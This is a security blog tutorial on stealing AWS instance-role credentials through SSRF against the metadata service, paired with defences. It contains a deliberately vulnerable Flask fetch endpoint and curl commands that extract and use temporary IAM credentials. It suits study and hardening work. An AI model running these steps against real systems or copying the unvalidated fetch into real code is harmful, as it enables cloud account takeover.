Disclaimer: This article is for education and authorized security testing only. Querying the Instance Metadata Service of infrastructure you do not own or have explicit written permission to test is illegal in most jurisdictions and violates cloud provider terms of service. Only run these techniques against your own lab accounts or engagements covered by a signed scope.
Introduction / Overview
Server-Side Request Forgery (SSRF) is consistently one of the highest-impact web vulnerabilities in cloud environments, and the reason is almost always the same: the Instance Metadata Service (IMDS). When a vulnerable application can be coerced into making an HTTP request to the link-local address 169.254.169.254, an attacker can often pull temporary IAM credentials directly out of the instance and assume the workload's identity. The 2019 Capital One breach, which exposed data on over 100 million customers, was a textbook SSRF-to-IMDS credential theft chain.
This post walks through how IMDS works, how to abuse IMDSv1 through SSRF, why IMDSv2 raises the bar, the role of the hop limit, and — weighted equally — how blue teams detect and shut this down.
How it works / Background
Every major cloud provider exposes a metadata endpoint on the non-routable link-local address 169.254.169.254. On AWS this is the Instance Metadata Service; GCP and Azure expose equivalent endpoints (with provider-specific headers). The service returns instance details, user-data, and — critically — the temporary security credentials attached to the instance's IAM role under:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>PlaintextIMDSv1 is a simple, unauthenticated request/response protocol. Any process — or any SSRF primitive — that can issue a plain GET to that path receives the role's AccessKeyId, SecretAccessKey, and Token. There is no proof-of-intent and no session binding.
IMDSv2 (introduced in 2019) is session-oriented. The client must first PUT to /latest/api/token to obtain a token, then send that token in the X-aws-ec2-metadata-token header on every subsequent request. The PUT requirement matters because most SSRF primitives can only issue GET requests, and many reflected/blind SSRF bugs cannot set arbitrary headers.
The hop limit is the IP TTL of metadata responses. IMDSv2 token responses default to a hop limit of 1, meaning the packet is decremented to zero after one hop. A request originating on the instance itself works, but a request relayed through a container's overlay network or a misconfigured proxy is dropped before it returns — neutralizing many container-escape and pod-level SSRF paths.
Prerequisites / Lab setup
To reproduce safely, build an isolated lab in your own account:
- An EC2 instance with an IAM role attached (e.g., a role with
s3:ListAllMyBuckets). - A deliberately vulnerable web app exposing an SSRF sink. A simple Flask app that fetches a user-supplied URL works:
# vulnerable_ssrf.py — LAB ONLY
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route("/fetch")
def fetch():
url = request.args.get("url") # no allowlist == SSRF
return requests.get(url, timeout=3).text
app.run(host="0.0.0.0", port=8080)Python- The AWS CLI and
curlfor validation.
Set the instance to IMDSv1-optional first so you can demonstrate both versions, then flip it to enforce IMDSv2.
Walkthrough / PoC
Step 1 — Confirm the SSRF reaches the metadata endpoint
From the attacker side, point the vulnerable parameter at the link-local address:
curl "http://victim-app:8080/fetch?url=http://169.254.169.254/latest/meta-data/"BashA directory listing of metadata categories confirms the SSRF can reach IMDS.
Step 2 — Enumerate the IAM role name (IMDSv1)
curl "http://victim-app:8080/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"BashThis returns the role name, e.g. lab-ec2-s3-role.
Step 3 — Steal the temporary credentials
curl "http://victim-app:8080/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/lab-ec2-s3-role"BashThe JSON response contains AccessKeyId, SecretAccessKey, Token, and an Expiration. Export them and assume the identity:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity
aws s3 lsBashsts get-caller-identity returns the assumed-role ARN, confirming you are now operating as the workload. Tools like Pacu and enumerate-iam automate the subsequent privilege-escalation enumeration.
Step 4 — Why IMDSv2 breaks this
When the instance enforces IMDSv2 (HttpTokens=required), the same GET request fails:
# Direct GET without a token now returns 401 Unauthorized
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/BashA legitimate client must first obtain a token via PUT:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/BashMost SSRF primitives cannot perform the PUT and cannot inject the custom header, so credential theft fails. Note: some SSRF bugs do allow method and header control (e.g., full request smuggling or certain gopher:// abuses), so IMDSv2 is a strong mitigation, not an absolute guarantee.
Mermaid diagram

The diagram shows the decision path: an SSRF that reaches 169.254.169.254 only yields credentials when IMDSv1 is allowed, or when the SSRF primitive is powerful enough to satisfy the IMDSv2 PUT-plus-header requirement.
Detection & Defense (Blue Team)
Defense is layered — no single control is sufficient.
1. Enforce IMDSv2 everywhere. Set HttpTokens=required so unauthenticated GET requests are rejected:
aws ec2 modify-instance-metadata-options \
--instance-id i-0123456789abcdef0 \
--http-tokens required \
--http-endpoint enabledBashFor new instances, require IMDSv2 at launch. Use the account-wide AMI setting and the ec2:MetadataHttpTokens IAM condition key to prevent launching instances with IMDSv1 enabled.
2. Lower the hop limit. Set --http-put-response-hop-limit 1 (the default) for bare EC2. The hop limit ensures metadata responses die after a single network hop, blocking pods/containers on overlay networks from reaching the host IMDS unless explicitly intended:
aws ec2 modify-instance-metadata-options \
--instance-id i-0123456789abcdef0 \
--http-put-response-hop-limit 1 \
--http-tokens requiredBash3. Disable IMDS entirely where workloads don't need it (--http-endpoint disabled), and prefer IAM Roles for Service Accounts (IRSA) or EKS Pod Identity over node-level instance roles.
4. Block egress to the link-local range. Outbound filtering or an egress proxy that drops traffic to 169.254.169.254/32 from application processes stops the SSRF at the network layer.
5. Least privilege on the instance role. Even if credentials leak, scoped policies and resource conditions limit blast radius. Add an aws:ViaAWSService or source-IP condition where feasible.
6. Detection signals. In CloudTrail, watch for role credentials used from an IP outside the instance/VPC — the strongest indicator of theft. AWS GuardDuty's UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS and .OutsideAWS findings fire when instance-role credentials are used from a different account or off-instance. Application-layer WAF rules detecting 169.254.169.254 (and its decimal/octal/IPv6 encodings like 0xa9fea9fea, 2852039166, and [fd00:ec2::254]) in request parameters add an early tripwire.
This maps to MITRE ATT&CK T1552.005 — Unsecured Credentials: Cloud Instance Metadata API.
For broader context on this class of bug, see our SSRF exploitation deep dive and the companion piece on AWS IAM privilege escalation paths. If you are hardening container workloads specifically, our EKS security baseline covers IRSA in detail.
Conclusion
IMDS credential theft via SSRF remains devastating because it converts a single web vulnerability into full cloud identity compromise. The defining lesson of the Capital One breach holds: IMDSv1 turns any SSRF into a credential leak. Enforcing IMDSv2, pinning the hop limit, applying least-privilege roles, and monitoring CloudTrail/GuardDuty for off-instance credential use collectively reduce this from a critical to a low-likelihood event. Treat HttpTokens=required as a non-negotiable baseline across your fleet.
References
- MITRE ATT&CK — T1552.005, Unsecured Credentials: Cloud Instance Metadata API: https://attack.mitre.org/techniques/T1552/005/
- AWS — Use IMDSv2: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
- AWS —
modify-instance-metadata-optionsCLI reference: https://docs.aws.amazon.com/cli/latest/reference/ec2/modify-instance-metadata-options.html - Amazon GuardDuty finding types — InstanceCredentialExfiltration: https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html
- HackTricks — Cloud SSRF / IMDS abuse: https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum
- Capital One incident analysis (US Senate / Krebs on Security): https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments